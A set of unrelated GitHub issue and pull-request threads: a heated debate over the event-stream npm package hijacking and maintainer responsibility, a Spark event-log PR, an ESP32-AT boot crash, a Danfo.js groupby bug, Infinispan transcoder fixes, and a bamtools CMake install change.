it is his responsibility to vet to the best of his knowledge anyone who he would give write access/publishing rights to.

Says you and what contract you signed with him?

@davidwarshaw openSUSE's package manager, zypper handles stuff like this very well.  Whenever the vendor changes for a package, the user is notified.  npm should do something similar to this.  The user should be notified every time that the vendor changes for a package.

@joepie91 I think the best way forward for the author (as far as social responsibility, not legal responsibility) who want to discontinue the project maintenance is to make a note in the project ReadMe that it's no longer maintained by the author and let people fork off from this project (if allowed by license) so that the new maintainer would have to re-earn the trust that the author have earned.

https://medium.freecodecamp.org/npm-package-hijacking-from-the-hijackers-perspective-af0c48ab9922
Kinda relevant article making a joke about this sorta thing back in 2016

To those throwing around the idea that nobody has been auditing their dependencies; did you miss the part in the original report where it stated that the malicious code was only present in the minified version of the package? Seems there is an underlying issue of npm not enforcing deterministic minification or something along those lines here.

Says you and what contract you signed with him?

I hate when people intentionally confuse legal and social.

https://m.youtube.com/watch?v=Mm_RuObpeGo

@Henning-K

it is his responsibility to vet to the best of his knowledge anyone who he would give write access/publishing rights to.

Says you and what contract you signed with him?

I'm pretty sure it's called "basic decency". It's like keeping the key to an asylum for the criminally insane after quitting there and then giving that key to the first random you run into upon exiting said institution. It will not end well.

🍿

[](http://www.youtube.com/watch?v=Mm_RuObpeGo
Fhose who are chewing out the maintainer. Watch the video.

I know you mean well @ghuntley, however, trying to get people who are fuming at a maintainer to watch a 45-minute video is one hell of an ask lol.
That said, I've added it to my Watch Later list and intend on giving it a proper watching.

@Henning-K

it is his responsibility to vet to the best of his knowledge anyone who he would give write access/publishing rights to.

Says you and what contract you signed with him?

I'm pretty sure it's called "basic decency". It's like keeping the key to an asylum for the criminally insane after quitting there and then giving that key to the first random you run into upon exiting said institution. It will not end well.

Except its not like that at all.

Dude I don't think this problem is connected to javascript. The problem lies in the ecosystem around javascript. npm is harmful and outdated and the maintainers should start using static dependencies and update dependencies only after code reviews. And most importantly: Maintainers should not trust random dudes from the internet.

You're not wrong, but to me language and ecosystem are inseparable. The fact that JS by itself isn't the problem is sort of irrelevant compared to how it's actually used. Also worth considering, would the ecosystem be the way it is if the JS stdlib was more comprehensive and robust? (side note: there is no definitive JS runtime - only a spec to be implemented by runtime developers. I'm sure this also plays a key role to the unique state of the language.) I also agree that the weight of responsibility lies heavier on users of these packages. Never forget TANSTAAFL - everything free has a price.

@Henning-K

I'm pretty sure it's called "basic decency". It's like keeping the key to an asylum for the criminally insane after quitting there and then giving that key to the first random you run into upon exiting said institution. It will not end well.

NPM users are criminally insane? Interesting analogy. How about instead of insulting developers using a twisted metaphor, let's talk about why there's an "insane asylum" in the first place. If this is truly a social problem, then the solution is also social: eliminate the insane asylum, or the need for it in the first place. Seems like this problem exists more because of how NPM was designed and how developers integrate with it. Even a background check on the guy may not have prevented this.
 Interesting analogy. How about instead of insulting developers using a twisted metaphor, let's talk about why there's an "insane asylum" in the first place. If this is truly a social problem, then the solution is also social: eliminate the insane asylum, or the need for it in the first place.

I don't think this is how the analogy works

I hate how maintainers are above recrimination to some people.
We need to acknowledge at some point that maintainers have some level of responsibility when they take command.  Legal responsibility can be waved, but don't be surprised if people show up with torches and pitchforks when you do something like giving some guy you don't know access to NPM and he does something like this with it.

@broros There's no reason to be rude or to make accusations towards him. We all make mistakes & It's lesson that counts, hopefully community will learn & avoids these kinds of unfortunate events in future.

this jacka** @dominictarr probably got paid by a Chinese hacker and handed it over to him, otherwise why would he hand over a popular package to a stranger? if anybody wants to commit a change to this package all they have to do is submit a change without handing out the publishing rights to anybody

why would he hand over a popular package to a stranger?

Because he was no longer maintaining it and probably didn't care, which is reasonable. Please stop making crazy conspiracies just because ownership was handed over to someone else. Once you have evidence maybe it would be fit to post here.

Stop attacking the owners/maintainers of OSS repos.

^^^^^^

@dominictarr probably got paid by a Chinese hacker and handed it over to him, otherwise why would he hand over a popular package to a stranger? if anybody wants to commit a change to this package all they have to do is submit a change without handing out the publishing rights to anybody

@broros I have reported you to Github. Please stop commenting.

Yea... def not @dominictarr's responsibility.  Buck stops with you.  Maintain your dependencies.

Might be time to lock this thread before it becomes even more of a dumpster fire. Just sayin'.


optimization spark event log that resulting in history server is too …

…slow when open the application and event log is too large, and add event log split with the config spark.eventLog.cuttype
What changes were proposed in this pull request?
fix the history server were very slow when the event log was too large, by add the split event log features.
How was this patch tested?
manual tests

Please review https://spark.apache.org/contributing.html before opening a pull request.

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Can one of the admins verify this patch?

no one verify

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Yes

@shaohk . Welcome to the Apache Spark community. Before making a PR, could you review our contribution guide, https://spark.apache.org/contributing.html ?
For example, this PR is opened to branch-2.4, but you can see Open a pull request against the master branch of apache/spark. from the guide. Also, you are proposing a new feature, but there is a guide about that, If the change is new, then it usually needs a new JIRA.
So, I'd like to recommend you to file a JIRA first, then to close this PR and open a new PR against master branch.

@shaohk . Welcome to the Apache Spark community. Before making a PR, could you review our contribution guide, https://spark.apache.org/contributing.html ?
For example, this PR is opened to branch-2.4, but you can see Open a pull request against the master branch of apache/spark. from the guide. Also, you are proposing a new feature, but there is a guide about that, If the change is new, then it usually needs a new JIRA.
So, I'd like to recommend you to file a JIRA first, then to close this PR and open a new PR against master branch.

Hi, I am the first commit pull request, So there are some lack of standardization operation. I file a JIRA first.
tks!

Thank you, @shaohk !


crash when power up

the log as following:
I (1681) cpu_start: Pro cpu up.
I (1693) cpu_start: Single core mode
I (1707) heap_alloc_caps: Initializing. RAM available for dynamic allocation:
I (1730) heap_alloc_caps: At 3FFAE2A0 len 00001D60 (7 KiB): DRAM
I (1750) heap_alloc_caps: At 3FFBA7D0 len 00025830 (150 KiB): DRAM
I (1771) heap_alloc_caps: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM
I (1793) heap_alloc_caps: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (1814) heap_alloc_caps: At 400936AC len 0000C954 (50 KiB): IRAM
I (1835) cpu_start: Pro cpu start user code
I (1892) cpu_start: Starting scheduler on PRO CPU.
I (1899) uart: queue free spaces: 10
E (1901) wifi: invalid magic number 3f407776, call WIFI_INIT_CONFIG_DEFAULT to init config
E (1906) wifi: wifi_init 1304 ret=258
ESP_ERROR_CHECK failed: esp_err_t 0x102 at 0x4011959f
Guru Meditation Error: Core  0 panic'ed (abort)
Backtrace: 0x40008155:0x3ffafb50 0x40007d06:0x3ffafb70 0x40119d56:0x3ffafbb0 0x40114c6c:0x3ffafbf0 0x4011479e:0x3ffafc30 0x400d0659:0x3ffafc50
Rebooting...
ets Jun  8 2016 00:22:57
The bin files flashed as following:
bootloader.bin --> 0x1000
partitions_at.bin --> 0x8000
phy_init_data.bin --> 0xf000
esp-at.bin --> 0x10000
blank.bin --> 0xfa000
blank.bin --> 0x1fd000
I've try to erase flash using esptool, but it is useless.

Hi, ESP32-AT already has an ESP-IDF (NOT the latest one) as submodule, you need to use that one when compiling the project, otherwise, it may have compatibility problems.
You can follow the README to compile it.

@FayeY  Hi, when I clone the submodule and use it to compile, I got the following error:
I (44) boot: ESP-IDF v2.0-rc1-296-g02fdf82 2nd stage bootloader
I (44) boot: compile time 16:58:07
I (44) boot: Enabling RNG early entropy source...
I (64) boot: SPI Speed      : 40MHz
I (77) boot: SPI Mode       : DIO
I (89) boot: SPI Flash Size : 4MB
I (102) boot: Partition Table:
I (113) boot: ## Label            Usage          Type ST Offset   Length
I (136) boot:  0 phy_init         RF data          01 01 0000f000 00001000
I (159) boot:  1 ota_0            OTA app          00 10 00010000 000ea000
I (182) boot:  2 nvs              WiFi data        01 02 000fa000 00016000
I (206) boot:  3 ota_1            OTA app          00 11 00110000 000ea000
I (229) boot:  4 otadata          OTA data         01 00 001fd000 00003000
I (252) boot: End of partition table
I (265) boot: Disabling RNG early entropy source...
I (282) boot: Loading app partition at offset 00110000
E (300) esp_image: image at 0x110000 has invalid magic byte
W (319) esp_image: image at 0x110000 has invalid SPI mode 255
W (339) esp_image: image at 0x110000 has invalid SPI size 15
E (359) boot: Failed to verify app image @ 0x110000 (8194)
user code done

Please erase all flash,then download the bin.
Or download at.bin into 0x110000 and  0x10000


errors in groupby.agg in browser mode

Describe the bug
A clear and concise description of what the bug is.
when i use the example in Getting started : groupby.sum with browser mode ,it turns out to be wrong
Screenshots

while when i use nodejs to run the same example ,it's all right
Screenshots

Desktop (please complete the following information):

OS: [windows7]
Browser  chrome]
Version [e.g. 22]

@furion4tom try using the current version of Danfo.js


ISPN-11898 Missing transcoder for user marshaller's media type

ISPN-11898 Missing transcoder for user marshaller's media type
https://issues.redhat.com/browse/ISPN-11898
ISPN-11899 application/x-java-serialized-object without custom marshaller
https://issues.redhat.com/browse/ISPN-11899
ISPN-11900 jboss-marshalling module missing application/x-jboss-marshalling transcoder
https://issues.redhat.com/browse/ISPN-11900
ISPN-11901 Deprecate unused encoders and media types
https://issues.redhat.com/browse/ISPN-11901
ISPN-11926 Remote JCacheManager creates two RemoteCacheManager instances
https://issues.redhat.com/browse/ISPN-11926
ISPN-11932 JCache remote events do not work with ProtostreamMarshaller
https://issues.redhat.com/browse/ISPN-11932
ISPN-11910 Server should see application/octet-stream as protostream
https://issues.redhat.com/browse/ISPN-11900

@ryanemerson Updated
The test failures were because I took too big a step with ISPN-11910 (Server should see application/octet-stream as protostream). Lots of tests assume that server caches with default (OBJECT/HEAP) storage can store keys and values with any media type, so they don't bother configuring a media type on the caches they create.
I reverted those changes, because tests that use cache event converters can make the server use the right marshaller either by setting the user marshaller in the container config, by configuring a key/value media type in the cache config, or by overriding CacheEventConverter.format() in their converter implementation.
I have also thought of going the other way around and overriding CacheEventConverter.format() in some of our predefined converters, like KeyValueWithPreviousEventConverter, to avoid unmarshalling values only to marshall them back, but I didn't have time to actually try it out.

@gustavonalle I'm happy with the changes. Can you take a look as well.

merged, thanks @danberindei !


.

Apologies for the lack of title; mistakenly pressed return.
I am building bamtools as per the documentation:
mkdir build && cd build
cmake ..
make
cd ..
and the output is built under src/api ... not lib or bin as specified in the documentation. Is this a recent change?
I know I could copy the libraries I need but my use case is part of an automated build process.

+1, this is breaking my build at the moment, so confirmation that this is a permanent change would be appreciated.

I am aware of this, and it was done on purpose and I will not budge on this issue. In general, the structure of the build tree is an implementation detail of the build system being used and people tend to rely on implementation details that they should never relied upon. You should never copy stuff out of the build tree. Instead, you should always install or stage your build by doing
cmake -DCMAKE_INSTALL_PREFIX=/my/install/dir ..
make
make DESTDIR=/my/stage/dir install

after which the root of the installed files will be /my/stage/dir/my/install/dir. DESTDIR can be omitted if you know the final persistent dir you want to install bamtools to. There are good reasons for preferring this route. What if we need to add a temporary RPATH for testing? Only upon running make install is the RPATH removed again, by performing an additional relinking step. If you copy stuff out of the build dir, you might be copying a binary with an RPATH set, which is a potential security vulnerability.
Additionally, the build system uses the GNUInstallDirs module, meaning you can further configure the binary, lib and include dirs using CMAKE_INSTALL_BINDIR, CMAKE_INSTALL_LIBDIR and CMAKE_INSTALL_INCLUDEDIR.
Nonetheless, I will update the docs to reflect this proper building and installation paradigm.

Updated https://github.com/pezmaster31/bamtools/wiki/Building-and-installing with the updated, modern CMake best practices.

I have no disagreement with the route you have gone down - I was building a third party tool whose source I cannot change. It was more the fact that the documentation at the time did not reflect this updated build process and CMake variables you have since highlighted. Thanks for updating for documentation.